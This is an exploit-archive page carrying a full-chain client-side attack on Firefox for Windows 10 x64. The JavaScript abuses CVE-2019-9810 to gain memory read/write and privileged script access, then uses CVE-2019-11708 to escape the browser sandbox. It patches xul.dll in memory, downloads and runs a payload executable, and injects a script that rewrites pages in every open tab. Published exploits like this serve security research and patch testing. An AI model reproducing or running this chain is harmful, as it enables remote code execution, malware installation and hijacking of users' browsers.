Mozilla FireFox (Windows 10 x64) Full Chain Client Side Attack

2019.12.09
Credit: 0vercl0k
Risk: Low
Local: No
Remote: Yes
CWE: N/A

// Axel '0vercl0k' Souchet - November 19 2019 // 0:000> ? xul!sAutomationPrefIsSet - xul // Evaluate expression: 85724947 = 00000000`051c0f13 const XulsAutomationPrefIsSet = 0x051c0f13n; // 0:000> ? xul!disabledForTest - xul // Evaluate expression: 85400792 = 00000000`05171cd8 const XuldisabledForTest = 0x05171cd8n; const Debug = false; const dbg = p => { if(Debug == false) { return; } print(`Debug: ${p}`); }; const ArraySize = 0x5; const WantedArraySize = 0x42424242; let arr = null; let Trigger = false; const Spray = []; function f(Special, Idx, Value) { arr[Idx] = 0x41414141; Special.slice(); arr[Idx] = Value; } class SoSpecial extends Array { static get [Symbol.species]() { return function() { if(!Trigger) { return; } arr.length = 0; for(let i = 0; i < 0x40000; i++) { Spray.push(new Uint32Array(ArraySize)); } }; } }; function GetMeBiggie() { for(let Idx = 0; Idx < 0x100000; Idx++) { Spray.push(new Uint32Array(ArraySize)); } const SpecialSnowFlake = new SoSpecial(); for(let Idx = 0; Idx < 10; Idx++) { arr = new Array(0x7e); Trigger = false; for(let Idx = 0; Idx < 0x400; Idx++) { f(SpecialSnowFlake, 0x70, Idx); } Trigger = true; f(SpecialSnowFlake, 47, WantedArraySize); if(arr.length != 0) { continue; } const Biggie = Spray.find(e => e.length != ArraySize); if(Biggie != null) { return Biggie; } } return null; } function ExploitCVE_2019_9810() { print = console.log; const Biggie = GetMeBiggie(); if(Biggie == null || Biggie.length != WantedArraySize) { dbg('Failed to set things up :(.'); return false; } // // Scan for one of the Uint32Array we sprayed earlier. // let Biggie2AdjacentSize = null; const JSValueArraySize = 0xfffa000000000000n | BigInt(ArraySize); for(let Idx = 0; Idx < 0x100; Idx++) { const Qword = BigInt(Biggie[Idx]) << 32n | BigInt(Biggie[Idx + 1]); if(Qword == JSValueArraySize) { Biggie2AdjacentSize = Idx + 1; break; } } if(Biggie2AdjacentSize == null) { dbg('Failed to find an adjacent array :(.'); return false; } // // Use the array length as a marker. // const AdjacentArraySize = 0xbbccdd; Biggie[Biggie2AdjacentSize] = AdjacentArraySize; // // Find the array now.. // const AdjacentArray = Spray.find( e => e.length == AdjacentArraySize ); if(AdjacentArray == null) { dbg('Failed to find the corrupted adjacent array :(.'); return false; } const ReadPtr = Addr => { const SizeInDwords = 2; const SavedSlot = [ Biggie[Biggie2AdjacentSize], Biggie[Biggie2AdjacentSize + 2 + 2], Biggie[Biggie2AdjacentSize + 2 + 2 + 1] ]; // // Corrupt the `AdjacentArray`'s size / data slot. // Biggie[Biggie2AdjacentSize] = SizeInDwords; Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn); Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n); // // Read arbitrary location now. // const Ptr = BigInt.fromUint32s([AdjacentArray[0], AdjacentArray[1]]); // // Restore the `AdjacentArray`'s size / data slot. // Biggie[Biggie2AdjacentSize] = SavedSlot[0]; Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1]; Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2]; return Ptr; }; const WritePtr = (Addr, Value) => { const SizeInDwords = 2; const SavedSlot = [ Biggie[Biggie2AdjacentSize], Biggie[Biggie2AdjacentSize + 2 + 2], Biggie[Biggie2AdjacentSize + 2 + 2 + 1] ]; // // Corrupt the `AdjacentArray`'s size / data slot. // Biggie[Biggie2AdjacentSize] = SizeInDwords; Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn); Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n); // // Write to arbitrary location now. // AdjacentArray[0] = Number(Value & 0xffffffffn); AdjacentArray[1] = Number(Value >> 32n); // // Restore the `AdjacentArray`'s size / data slot. // Biggie[Biggie2AdjacentSize] = SavedSlot[0]; Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1]; Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2]; return true; }; const AddrOf = Obj => { AdjacentArray.hell_on_earth = Obj; // 0:000> dqs 1ae5716e76a0 // 00001ae5`716e76a0 00001ae5`7167dfd0 // 00001ae5`716e76a8 000010c5`8e73c6a0 // 00001ae5`716e76b0 00000238`9334e790 // 00001ae5`716e76b8 00007ff6`6be55010 js!emptyElementsHeader+0x10 // 00001ae5`716e76c0 fffa0000`00000000 // 00001ae5`716e76c8 fff88000`00bbccdd // 0:000> !telescope 0x00002389334e790 // 0x000002389334e790|+0x0000: 0xfffe1ae5716e7640 (Unknown) const SlotOffset = Biggie2AdjacentSize - (3 * 2); const SlotsAddress = BigInt.fromUint32s( Biggie.slice(SlotOffset, SlotOffset + 2) ); return BigInt.fromJSValue(ReadPtr(SlotsAddress)); }; // // Let's move the battle field to the TenuredHeap // const ArrayBufferLength = 10; const AB1 = new ArrayBuffer(ArrayBufferLength); const AB2 = new ArrayBuffer(ArrayBufferLength); const AB1Address = AddrOf(AB1); const AB2Address = AddrOf(AB2); dbg(`AddrOf(AB1): ${AB1Address.toString(16)}`); dbg(`AddrOf(AB2): ${AB2Address.toString(16)}`); WritePtr(AB1Address + 0x28n, 0xfff8800000010000n); WritePtr(AB2Address + 0x28n, 0xfff8800000010000n); if(AB1.byteLength != AB2.byteLength && AB1.byteLength != 0x10000) { dbg('Corrupting the ArrayBuffers failed :(.'); return false; } const Primitives = BuildPrimitives(AB1, AB2); Math.atan2(AB2); // // All right, time to clean up behind ourselves. // Let's fix AdjacentArray's size first (as we are using Biggie to do it). // Biggie[Biggie2AdjacentSize] = ArraySize; // // Let's fix Biggie's length as we are done with it. // 0:000> !smdump_jsvalue 0xfffe11e6fa2f7580 // Detected xul.dll, using it as js module. // 11e6fa2f7580: js!js::TypedArrayObject: Type: Uint32Array // 11e6fa2f7580: js!js::TypedArrayObject: Length: 1337 // 11e6fa2f7580: js!js::TypedArrayObject: ByteLength: 5348 // 11e6fa2f7580: js!js::TypedArrayObject: ByteOffset: 0 // 11e6fa2f7580: js!js::TypedArrayObject: Content: Uint32Array({Length:1337, ...}) // @$smdump_jsvalue(0xfffe11e6fa2f7580) // // 0:000> !telescope 0x11e6fa2f7580 // 0x000011e6fa2f7580|+0x0000: 0x000006a0415c37f0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array)) // 0x000011e6fa2f7588|+0x0008: 0x000006a041564100 (Unknown) -> 0x000006a041583cc0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array)) // 0x000011e6fa2f7590|+0x0010: 0x0000000000000000 (Unknown) // 0x000011e6fa2f7598|+0x0018: 0x00007ff93e0f41d8 (xul.dll (.rdata)) -> 0xfff9800000000000 (Unknown) // 0x000011e6fa2f75a0|+0x0020: 0xfffe11e6fa2f70c0 (Unknown) // 0x000011e6fa2f75a8|+0x0028: 0xfff8800000000539 (Unknown) // const BiggieLengthAddress = Primitives.AddrOf(Biggie) + 0x28n; Primitives.WritePtr(BiggieLengthAddress, 0xfff8800000000000n | BigInt(ArraySize)); // // From there, we're kinda done - let's get god mode and fuck off. // GodMode(AB1, AB2, Primitives, XulsAutomationPrefIsSet, XuldisabledForTest); return true; } // // This function uses a `Sandbox` with a `System Principal` to be able to grab the // `docShell` object off the `window` object. Once it has it, it can grab the frame // `messageManager` that we need to trigger the sandbox escape. // function GetContentFrameMessageManager(Win) { function _GetDocShellFromWindow(Win) { return Win.docShell; } const { Services } = Components.utils.import('resource://gre/modules/Services.jsm'); const Cu = Components.utils; const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal()); const Code = _GetDocShellFromWindow.toSource(); Cu.evalInSandbox(Code, Sbx); const DocShell = Sbx._GetDocShellFromWindow(Win); Cu.nukeSandbox(Sbx); return DocShell.messageManager; } // // This function sends a 'Prompt:Open' message over the frame message manager IPC, // with an URI. // function PromptOpen(Uri) { const FrameMM = GetContentFrameMessageManager(window); const Result = FrameMM.sendSyncMessage('Prompt:Open', { uri: Uri }); return Result; } // // This is the function that abuses the `Prompt:Open` message to re-exploit the parent // process and escape the sandbox. // function TriggerCVE_2019_11708() { PromptOpen(`${location.origin}?stage3`); } // // This is the function that gets written into the frame script the exploit drops // on disk. A trick to debug this code is to pop-up a `Browser Toolbox` as well as a // `Browser Content toolbox` and execute the following in the `Browser Toolbox`: // Services.mm.loadFrameScript('file://frame-script.js', true) // This should break in the `Browser Content Toolbox` debugger window. // function FrameScriptPayload() { function PimpMyDocument() { // // Don't infect doar-e and leave Cthulhu alone... // if(content.document.location.origin == 'https://doar-e.github.io' || content.document.location.origin == 'http://localhost:8000') { return; } // // .. as well as don't play with non http origins (I've seen empty/null origins). // if(!content.document.location.origin.startsWith('http')) { return; } // // Time to party! Let's find every `A` tag and make them point to doar-e. // We also use this opportunity to make every `backgroundImage` / `backgroundColor` // style attributes to `none` / `transparent` to not hide the doar-e background. // for(const Node of content.document.getElementsByTagName('*')) { if(Node.tagName == 'A') { Node.href = 'https://doar-e.github.io/'; continue; } Node.style.backgroundImage = 'none'; Node.style.backgroundColor = 'transparent'; } // // Change the background. // content.document.body.style.backgroundImage = 'url(https://doar-e.github.io/images/themes03_light.gif)'; } // // First we set an event handler to make sure to be invoked when a new `content` // is created. Keep in mind that we basically have ~three cases to handle: // 1/ We are getting injected in an already existing tab, // 2/ We are getting injected in a new tab, // 3/ A user clicks on a link and a new `content` gets created. // We basically want to have control over those three events. The below ensures // we get a chance to execute code for 2/. // addEventListener('DOMWindowCreated', FrameScriptPayload); dump(`Hello from: ${content.location.origin}\n`); if(content.document != null && content.document.body != null) { // // Either the tab already existed in which case we already have a document which we // can play with... // PimpMyDocument(); return; } // // ..Or it doesn't exist quite yet and we want to get a callback when it does. // content.addEventListener('load', PimpMyDocument); } // // This function drops a file (open + write + close) using the OSFile JS module. // function DropFile(Path, Content) { // // We expect either a string or a TypedArray. // const Encoder = new TextEncoder(); const ContentBuffer = (typeof Content == 'string') ? Encoder.encode(Content) : Content; return OS.File.open(Path, {write: true, truncate: true}) .then(File => { return Promise.all([ // We return the File object in order to be able to use it in the // next `.then`. This allows us to chain the `write` and the `close` // without another level of deepness. File, File.write(ContentBuffer), ]); }) .then((Results) => { const [File, _WrittenBytes] = Results; return File.close(); }); } // // This function drops / executes a payload binary, as well as inject a frame script // into every tabs. // function Payload() { // // Import a bunch of JS modules we will be using later. // const { OS } = Components.utils.import('resource://gre/modules/osfile.jsm'); const { Services } = Components.utils.import('resource://gre/modules/Services.jsm'); // // First order of business, we create a first promise that downloads the payload // (aka Slime Shady), drops it in the profile directory and finally executes it. // const Dir = OS.Constants.Path.localProfileDir; const PayloadPath = OS.Path.join(Dir, 'slimeshady.exe'); const PayloadPromise = fetch(`${location.origin}/payload/bin/payload.exe`) .then((Response) => { // // We return the result as a TypedArray as this is what `DropFile` // expects for binary content. // return Response.arrayBuffer(); }) .then((Content) => { // // Time to drop the file now. Note that we return the promise so // the next `then` executes when the file has been successfully dropped. // dbg(`Payload downloaded.`); return DropFile(PayloadPath, new Uint8Array(Content)); }) .then(() => { // // At this point, we are ready to spawn the payload, let's do it! // dbg(`Creating the process.. ${PayloadPath}`); CreateProcessA(PayloadPath); }) .catch(Ex => { console.log(`Exception in payload promise: ${Ex}`); }); // // Second order of business is to backdoor the tabs. To do so, we drop a frame // script that we inject into every tabs. // const FramePayloadContent = `${FrameScriptPayload.toSource()} FrameScriptPayload();`; const ScriptPath = OS.Path.join(Dir, 'frame-script.js'); const FramePayloadPromise = DropFile(ScriptPath, FramePayloadContent) .then(() => { // // At this time we are ready to inject the frame script into the tabs. // Note that we need to drop the file locally / use the file:// scheme // so that the tabs accept to interpret the file (unfortunately, // remote ones are ignored). // dbg(`About to loadFrameScript: ${ScriptPath}`); Services.mm.loadFrameScript(`file://${ScriptPath}`, true); }) .catch(Ex => { console.log(`Exception in frame payload promise: ${Ex}`); }); // // Last but not least, we set up code to execute on completion of both the above // promises. You have to remember that at this point the modal window is still open // and blocks navigation / UI interaction, so we need to close it as soon as we can // to be as stealth as possible. // Just for kicks, we spawn a calculator when we're done because why not. // Promise.all([PayloadPromise, FramePayloadPromise]) .then(() => { // // .. just for kicks. // CreateProcessA('c:\\windows\\system32\\calc.exe'); // // Phew, we made it here let's close the window :). // window.close(); }) .catch(Ex => { console.log(`Exception in clean up promise: ${Ex}`); window.close(); }); } // // This function patches the inlined portion of xpc::AreNonLocalConnectionsDisabled() // in xul!mozilla::net::nsSocketTransport::InitiateSocket to avoid an assert when we have // god mode. It's far from being the cleanest way, but this is the easiest way I found. // // nsresult nsSocketTransport::InitiateSocket() { // SOCKET_LOG(("nsSocketTransport::InitiateSocket [this=%p]\n", this)); // nsresult rv; // bool isLocal; // IsLocal(&isLocal); // if (gIOService->IsNetTearingDown()) { // return NS_ERROR_ABORT; // } // if (gIOService->IsOffline()) { // if (!isLocal) return NS_ERROR_OFFLINE; // } else if (!isLocal) { // if (NS_SUCCEEDED(mCondition) && xpc::AreNonLocalConnectionsDisabled() && // !(IsIPAddrAny(&mNetAddr) || IsIPAddrLocal(&mNetAddr))) { // nsAutoCString ipaddr; // RefPtr<nsNetAddr> netaddr = new nsNetAddr(&mNetAddr); // netaddr->GetAddress(ipaddr); // fprintf_stderr( // stderr, // "FATAL ERROR: Non-local network connections are disabled and a " // "connection " // "attempt to %s (%s) was made.\nYou should only access hostnames " // "available via the test networking proxy (if running mochitests) " // "or from a test-specific httpd.js server (if running xpcshell " // "tests). " // "Browser services should be disabled or redirected to a local " // "server.\n", // mHost.get(), ipaddr.get()); // MOZ_CRASH("Attempting to connect to non-local address!"); // } // } // function PatchInitiateSocket() { // // Let's patch xul!mozilla::net::nsSocketTransport::InitiateSocket // so that it doesn't assert on us because we turned on testing features. // This is the assert we hit without the patch: // // FATAL ERROR: Non-local network connections are disabled and a connection attempt to google.com (172.217.14.206) was made. // You should only access hostnames available via the test networking proxy // (if running mochitests) or from a test-specific httpd.js server (if running // xpcshell tests). Browser services should be disabled or redirected to a local // server. // (4014.82c): Break instruction exception - code 80000003 (first chance) // xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe92: // 00007ff9`69a66372 cc int 3 // // Here is the disasembly before: // // 0:062> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 // xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]: // 00007ff9`3f9c55c6 8b0d0cc7ff04 mov ecx,dword ptr [xul!disabledForTest (00007ff9`449c1cd8)] // 00007ff9`3f9c55cc 83f9ff cmp ecx,0FFFFFFFFh // 00007ff9`3f9c55cf 7520 jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1) // 00007ff9`3f9c55d1 488d0ddaa3df04 lea rcx,[xul!`string' (00007ff9`447bf9b2)] // // And after: // // 0:068> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 // xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]: // 00007ff9`3f9c55c6 90 nop // 00007ff9`3f9c55c7 90 nop // 00007ff9`3f9c55c8 90 nop // 00007ff9`3f9c55c9 4831c9 xor rcx,rcx // 00007ff9`3f9c55cc 83f9ff cmp ecx,0FFFFFFFFh // 00007ff9`3f9c55cf 7520 jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1) // // 0:051> ? xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 - xul // Evaluate expression: 1529286 = 00000000`001755c6 // const PatchOffset = 0x001755c6n; const XulBase = BigInt(GetModuleHandleA('xul.dll').toString()); const PatchAddress = XulBase + PatchOffset; const PatchContent = [0x90, 0x90, 0x90, 0x48, 0x31, 0xc9]; PatchCode(PatchAddress, PatchContent); } function Main(Route) { // // One way to tell if we were successful with our data corruption is by checking // if we have access to the PrivilegeManager. If we do, it means we are running // with a privileged context, if not we don't. // const RunningFromPrivilegedJS = window.netscape.security.PrivilegeManager != undefined; if(Route == '?stage1') { // // If we are asked to run stage1 with access to a privileged context, we skip // it and move on to stage2. // if(RunningFromPrivilegedJS) { return Main('?stage2'); } // // Stage1 exploits CVE-2019-9810 and performs a data corruption attack to access // a privileged JS context. // if(!ExploitCVE_2019_9810()) { console.log('Failed :('); return; } // // Once we are done with the data corruption, we refresh the page to get access // to the privileged JS context. Moving on to stage2 \o/. // location.replace(`${location.origin}/?stage2`); } if(Route == '?stage2') { // // At this point we expect to have access to a privileged JS context. // If we don't it's probably bad news, so we'll just bail. // if(!RunningFromPrivilegedJS) { alert('problem'); return; } // // Turn on privileges so that we can access the `Components` object. // window.netscape.security.PrivilegeManager.enablePrivilege('doar-e'); // // Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket // to avoid the Firefox being unhappy. // PatchInitiateSocket() // // Now that we have access to the privileged context, we are also able to talk // over the frame message manager IPC and trigger CVE-2019-11708 to escape the // exploit the parent process. // TriggerCVE_2019_11708(); } if(Route == '?stage3') { // // We should now be running in the broker which means we can exploit CVE-2019-9810 // to perform the same attack than in stage1 but this time in the parent process. // if(!ExploitCVE_2019_9810()) { console.log('Elevation failed, closing the window.'); window.close(); } // // If we are successful it means that by refreshing the page, we should have // access to the privileged JS context from the parent process. // This basically means full compromise and we move on to backdooring the tabs, // as well as dropping the payload. // location.replace(`${location.origin}/?final`); } if(Route == '?final') { // // All right, we start of by turning on privileges so that we can access `Components` // & cie. // window.netscape.security.PrivilegeManager.enablePrivilege('doar-e'); // // Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket // to avoid the Firefox being unhappy. // PatchInitiateSocket() // // We've worked hard to get here and it's time to drop the goodies :). // Payload(); } } function Onload() { if(location.search != '') { Main(location.search); } }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top